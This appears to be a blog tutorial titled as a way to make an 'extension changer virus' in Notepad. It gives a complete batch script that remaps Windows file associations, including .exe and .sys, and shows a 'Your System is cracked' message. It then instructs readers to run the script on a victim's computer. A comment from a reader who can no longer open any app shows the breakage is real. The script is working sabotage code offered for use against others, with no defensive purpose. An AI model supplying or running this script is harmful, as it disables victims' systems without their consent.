How to make Extension changer virus using notepad

Posted by

In this article i am gonna show you how to make a virus that changes extension of files.Even though it is not a harmful virus it will change all the files extension and makes it unuseful for the user and he has to again change the files extension to its orginal one.

What is Extension changer ?
Assume that all images (*.jpeg, Gif etc) are by default opening with “Windows Picture and Fax Viewer” but in with this virus,this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.

1. Open a Notepad and copy and paste the below code

@echo off

assoc .txt=jpegfile

assoc .exe=htmlfile

assoc .jpeg=avifile

assoc .png=mpegfile

assoc .mpeg=txtfile

assoc .sys=regfile

msg Your System is cracked …..


  1. Save it as anyname.bat, and now your virus file is ready.

    3. Execute this on Victims computer


  1. But I can’t open any app maybe when I want open a chrome it shows (This file does not have an app associated with it for performing this action. Please install an app or, if one is already installed, create an association in the Default Apps Settings page)

    Please Help


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.